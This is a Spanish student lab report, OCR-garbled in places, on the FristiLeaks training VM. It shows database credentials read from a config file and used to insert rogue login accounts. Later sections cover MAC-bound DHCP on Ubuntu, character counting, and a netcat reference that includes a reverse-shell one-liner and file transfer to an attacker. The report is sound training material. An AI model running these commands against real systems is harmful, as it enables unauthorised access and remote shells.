Se observa el contenido de este archivo con el comando cat checklogin.php. Alli dentro se

observo que efectivamente era el archivo de configuracion de la base de datos de la pagina.

bash-4.1% ¢ checklogin.php
cat checklog
<?php

ob_start();

$host="1local Host name

$userr sgl username
$passwo Ima i /f Mysgl password
$db_na iCkmen ; // Database name
$tb1l_name="members"; Table name

llustracion 72 Crear Dos Usuarios a La Maquina FristiLeaks paso 8

Conociendo el usuario y contraseia de la base de datos, se accede a mysql con el
comando mysql -u eezeepz (que es el usuario) -p. Al dar clic el sistema pidi6 la contrasefa y se

digito esta misma (4113maal12) y efectivamente se accedi6é a mysql.

bash-4.1% mysql -u e
mysql -u eezeepz
4113maaliz#

QL monitor. Commands end with ; or Rg.
ion id is 6
ce distribution
Oracle and/or its affiliates. All rights re
e Corporation and/or its
of their respective

owners.

Type ‘help;’ or '\h" for help. Type '\c' to clear the current input statement.

mysql> ]

llustracion 73 Crear Dos Usuarios a La Maquina FristiLeaks paso 9

Dentro de mysql se ingreso a la base de datos que esta conectada a la pagina web de fristi

con el comando USE hackmenow (nombre de la base de datos).



mysgl> USE hackmenow;

USE hackmenow;

Readi table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Mlustracion 74 Crear Dos Usuarios a La Maquina FristiLeaks paso 10
Luego se mostraron las tablas de la base de datos con el comando SHOW TABLES.

mysql>
SHOW TABL

B
| Tables_in_hackmenow |
- -
| members

.

1 row in set (0.00

mysql> i
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Luego se muestran los campos de esta tabla con el comando DESCRIBE members

(nombre de la tabla).

> DESCRIBE members;
IBE members;

mysql>
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Después de conocer los campos de la tabla, se insertan en la base de datos los dos nuevos
usuarios que se iban a crear, con el comando INTER INTO members (nombre de la tabla)
(username, password) (campos de la tabla) VALUES (‘entre’, ‘sisefior’) (usuario y contrasefia

del primer usuario).

mysql> INSERT INTO members (username, password) VALUES ('entre’, 'sisenor’);

INSERT INTO members (username, password) VALUES ('entre', 'sisenor’');
Query OK, 1 row affected (@. sec)

llustracion 77 Crear Dos Usuarios a La Mdquina FristiLeaks paso 13



Y ademas se cred el segundo usuario con el comando INTER INTO members (nombre de

la tabla) (username, password) (campos de la tabla) VALUES (‘seguridad’, ‘redes’) (usuario y

contrasefia del segundo usuario).
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Después de crear los usuarios se observaron estos mismo con el comando SELECT *
FROM members (nombre de la base de datos) y se pudieron observar estos usuarios creados y el

que esta ya creado en la tabla.

mysgl> SELECT * FROM members;
SELECT * FROM members;

+ S

| id

username password

ul

+

|
+ +
| |
| 21
| 31
+ +

|
¥
|
|
|
¥
5]

3 rows i

mysql>
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Luego de haber creado los usuarios se ingresa a pagina de inicio de sesion de friti y se

inicid sesion con el primer usuario, con el usuario entre y la contrasefa sisefior
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Member Login
Username : [entre |

Password : [sisefior

sisefior
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Y al dar clic en login, se inici6 sesion correctamente.

« @ & 19. i

OffSec Kali Linux §& Kali Tools & Kali Forums & Kali NetHunter

Login successful

upload file
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Después de probar el primer usuario, se intentd con el segundo usuario creado en la base

de datos, se digito el usuario seguridad y la contrasena redes.



eicome to ristiiea aamin porta

Member Login

Username : [seguridad |

Password :[redes |
[Login]

Ilustracion 82 Crear Dos Usuarios a La Maquina FristiLeaks paso 18

Y al dar clic en login, se inici6 sesion correctamente.

(@

Kali Linux #& Kali Tools ¢ % Kali Forums e Kali NetHunter

Login successful

upload file

Ilustracion 83 Crear Dos Usuarios a La Maquina FristiLeaks paso 19

Y esto fue todos los pasos que se realizaron para lograr crear dos usuarios en Fristileaks y

poder iniciar sesion correctamente a la pagina de fristi con esos usuarios.



5 Capitulo 3 Ubuntu Desktop, Configurar Para Que Con Una MAC En

Especifico Pueda Tener DHCP.

Cuando se realiz6 la configuracion de Fristileaks este maquina mostro un mensaje que
decia que si no tenia la direccion MAC predefinida para esta maquina no podia obtener direccion
IP por DHCP, pero como se podria replicar esto en Ubuntu Desktop.

Acerca de este tema se trata este capitulo 3, se muestran los pasos que se realizaron para
tratar de replicar esta misma funcion de Fristileaks en Ubuntu.

Para realizarlo primero se configuro la direccion MAC que seria la MAC predeterminada

para Ubuntu.

Red
Adaptador 1 Adaptader2  Adaptador 3 Adaptador 4

Habilitar adaptador de red

Conectado a: Red NAT e
Mombre: RED-SEMESTRES-2023 ~
Tipo de adaptador:  Intel PRO/1000 MT Desktop (82340EM]) ~
Modo promiscuo:  Permitir todo ~
Direccién MAC: 080027FFBB17 &

Cable conectado

Mlustracion 84 Configurar Ubuntu con una MAC predeterminada paso 1

Luego se inicid la maquina y en la terminar de Ubuntu se escribio el siguiente comando
sudo nano /etc/netplan/01-netmork-maneger-all.yaml, al escribir este comando se escribid la

contrasena del sistema Ubuntu.

ubuntu@ubuntu-VirtualBox: ~

:-$ sudo nano /etc/netplan/@1-network-manager-all.yaml
[sudo] contrasena para ubuntu: I
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Ese comando muestra un archivo de configuracion de la red de Ubuntu, alli se debe
asignar la misma direccion MAC que se asigno en la configuracion de la direccion MAC de

Ubuntu en VirtualBox. Luego se guarda la configuracion.

ubuntu@ubuntu-VirtualBox: ~

GNU nano 7.2 fetc/netplan/01-network-manager-all.yaml

NetworkManager

: 08:00:27:FF:BB:17
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Luego con el comando sudo netplan apply se actualiza ese servicio y con el comando ip
link show enp0s3 se observa la MAC que se acababa de aplicar en el archivo anterior.

:-$ sudo netplan apply
:$ ip link show enp@s3
2: enpBs3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fq_codel state UP mode DEFAULT group default gqlen 1000
link/ether 08:00:27:ff:bb:17 brd ff:ff:ff:ff:ff:ff
=5
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Y con el comando ifconfig se nuestra la [P y la MAC de Ubuntu.

:-$ ifconfig
flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
inet 192.168.10.10 netmask 255.255.255.0 broadcast 192.168.10.255
inet6 feB80::a00:27ff:feff:bbl7 prefixlen 64 scopeid 0x20<link=>
ether 08:00:27:ff:bb:17 txqueuelen 1000 (Ethernet)

Hlustracion 88 Configurar Ubuntu con una MAC predeterminada paso 5
Ademas, se realizo un ping a la direccion IP de Windows XP y este ping fue exitoso.
:-S pilng 192.168.10.7

PING 192.168.10.7 (192.168.10.7) 56(84) bytes of data.
64 bytes from 192.168.10.7: icmp_seq=1 tt1=128 time=6.89

64 bytes from 192.168.10.7: icmp_seq=2 ttl=128 time=3.
64 bytes from 192.168.10.7: icmp_seq=3 ttl=128 time=
64 bytes from 192.168.10.7: icmp_seg=4 i

64 bvtes from 192.168.10.7: i 5

Hlustracion 89 Configurar Ubuntu con una MAC predeterminada paso 6



También, desde Windows XP, se realizd un ping a la direccion IP de Ubuntu y este fue

exitoso.

IC:%Documents and Settings“wayner_antonio_moya_>ping 172.168.18.18
Haciendo ping a .168.18.18 con 32 bytes de datos:

Respuesta desde .168.18.18: bytes=32 tiempo=ims TTL=64
Respuesta desde .168.18.18: hyte tiempo=4msz TIL=64
Heszpuesta desde .168.1@.18: bhyte tiempo=ims TTL=64
Respuesta desde 192.168.18.18: bytes=32 tiempo=2ms TTL=64

Estadisticas de ping para 192.168.18.18:
Pagquetes: enviadoz = 4. recibidos = 4, perdidos = 8
(@ perdidosd,

Tiempos aproximados de ida vy vuelta en milisegundos:
Minimo = 1ms,. Maximo = 4ms, Media = 2ms

[lustracion 90 Configurar Ubuntu con una MAC predeterminada paso 7

Para probar que la configuracion de la MAC por defecto se habia hecho correctamente, se
apagé la maquina y en la configuracion de la red NAT se cambi6 la direccion MAC y se inicid

nuevamente la maquina.

Red
Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Habilitar adaptador de red —
Conectado a:  Red NAT ~

Mombre:  RED-SEMESTRES-2025 ~

Tipo de adaptador:  Intel PRO/1000 MT Desktop (22540EM) ~

Modo promiscue:  Permitir tedo ~

Direccion MAC: 020027D2FB41 @

Cable conectado
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En una terminar de Ubuntu se digito el comando ip add y se observé que la maquina
habia obtenido la direccion IP, tenia la MAC establecida por defecto y tenia la MAC que se
cambid en la configuracion de VirtualBox.

:-$ ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default glen 1000
1link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_1ft forever
ineté ::1/128 scope host noprefixroute
valid_1ft forever preferred_1ft forever

2: enp®s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:ff:bb:17 brd ff:ff:ff:ff:ff:ff permaddr 08:00:27:d2:fb:41
inet 192.168.10.10/24 brd 192.168.10.255 scope global dynamic noprefixroute enp@s3
valid_1ft 444sec preferred_1ft 444sec
inet6 feB80::a00:27ff:feff:bbl7/64 scope link
valid_1ft forever preferred_1ft forever

= |
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Pero cuando se envié un ping a Windows XP, este ping fue erroneo.

:-$ ping 192.168.10.7
192.168.10.7 (192.168.10.7) 56(84) bytes of data.
192.168.10.10 icmp _seqg=1 Destination Host Unreachable

192.168.10.10 icmp _seq=5 Destination Host Unreachable
192.168.10.10 icmp_seqg=6 Destination Host Unreachable

Detenido ping 192.168.10.7

Hlustracion 93 Configurar Ubuntu con una MAC predeterminada paso 10

Y ademas se envio el ping desde Windows XP hacia Ubuntu y también fue erroneo.

C:“Documents and Settings“wayner_antonio_mova_>ping 172_168_168_10
Haciendo ping a 192_168.18.18 con 32 hytes de datos:

ezspera agotado para esta solicitud.
espera agotado para esta solicitwud.
espera agotado para esta solicitud.
espera agotado para esta solicitwud.

Estadisticas de ping para 192.168.18.18:
Paguetes: enviadoszs = 4. recibidos = B, perdidos = 4
(188 perdidosl.

C:sDocuments and Settingsswayner_antonio_moga_*
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Con esto se comprobo que la maquina Ubuntu no tenia conexion con ninguna de las otras
maquina a pesar de que tenia una direccion IP, pero como se cambid la MAC y no es la misma
MAC que tenia configurada Ubuntu, mostrando que efectivamente se habia realizo la

configuracion correctamente.



6 Capitulo 4 Comando Para Calcular Cuantos Caracteres Tiene Un Archivo.

Para calcular cuantos caracteres tiene un archivo se utiliza el comando wc -m
nombre del archivo.

Por ejemplo, en el siguiente archivo que tiene como nombre common.txt y que estd en la
ruta /usr/share/dirb/wordlints y que se accedid a esta ruta con el comando cd y el nombre de esta
ruta, se contaron cuantos caracteres tenia ese archivo y con el comando wc -m common.txt

(nombre del archivo) se observo que este archivo tenia 35849 caracteres.

Jusr/share/dirb/wordlists
Jusr/share/dirb/wordlists

Jusr/share/dirb/wordlists

root root

root root

root root ]

root root ene :

root root 3 nov 2014 common.

root root 2 may euskera.tx

root root 42 dic 2 2805 extensions_common.txt
root root 75 mar 16 2 indexes.txt

root root 244 dic 2 mutations_common.txt
root root LB96 ago

root root 6561 mar ! 4 small.txt

root root nov 1: 4 spanish.txt

root root LB96 ago

drwx1 2 root root LB96 ago

-'W-Ir'—Ir—
-'W-Ir'—Ir—
-'W-Ir'—Ir—

-'W-Ir'—Ir—
-'W-Ir'—Ir—

-'W-Ir'—Ir—

1
1
1
1
1
1
1
1
1

-'W-Ir'—Ir—

T -[/usr/share/dirb/wordlists
uhé common .

Jusr/share/dirb/wordlists
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7 Capitulo 5 Investigar Los Comandos Del NC.

El comando Netcat (nc) es una utilidad de linea de comandos para leer y escribir datos
entre dos redes informaticas. La comunicacion se produce mediante TCP o UDP. El comando
difiere segun el sistema (netcat, nc, ncat y otros).

Netcat es una herramienta crucial para los administradores de redes y sistemas debido a
las ricas funciones de solucion de problemas de conexién y la facilidad de uso de scripts.

1) Conectarse a un puerto remoto: nc <I[P> <PUERTO>
2) Escuchar en un puerto: nc -lvp <PUERTO>
3) Transferir archivos.
Enviar archivo: nc <IP_ VICTIMA> <PUERTO> < archivo.txt
Recibir archivo: nc -lvp <PUERTO> > archivo.txt
4) Chat sencillo entre dos PCs.
Maquina 1 (escucha): nc -lvp 1234
Magquina 2 (conecta): nc <I[P. MAQUINAI1> 1234
5) Reverse Shell.
Atacante escucha en Kali: nc -lvp 4444
Victima ejecuta: nc <IP_ ATACANTE> 4444 -¢ /bin/bash
6) Escaneo de puertos rapido con NC: nc -zv <I[P> <RANGO_ PUERTOS>
7) Crear un servidor web improvisado: while true; do nc -lvp 8080 < index.html;
done
8) Descargar archivo desde otro host: nc <I[P> <PUERTO> > archivo.txt

Estos son algunos de los comandos mas utilizados de NC.



8 Conclusiones

La préctica permitié6 comprobar cémo una vulnerabilidad de SQL Injection puede
comprometer un sistema completo cuando no existen medidas de seguridad adecuadas. Se
evidenciod la importancia de proteger los servicios web mediante validacion de entradas,
restricciones de archivos y configuraciones seguras en la base de datos. Asimismo, se demostrd
que el acceso inicial a un sistema no garantiza privilegios administrativos, siendo necesario
aplicar técnicas de escalamiento. Finalmente, se resalto la utilidad de herramientas como Nmap,
Dirb y Netcat en pruebas de penetracion y se comprobd que la gestion de direcciones MAC e IP

puede ser un factor de control adicional en redes.
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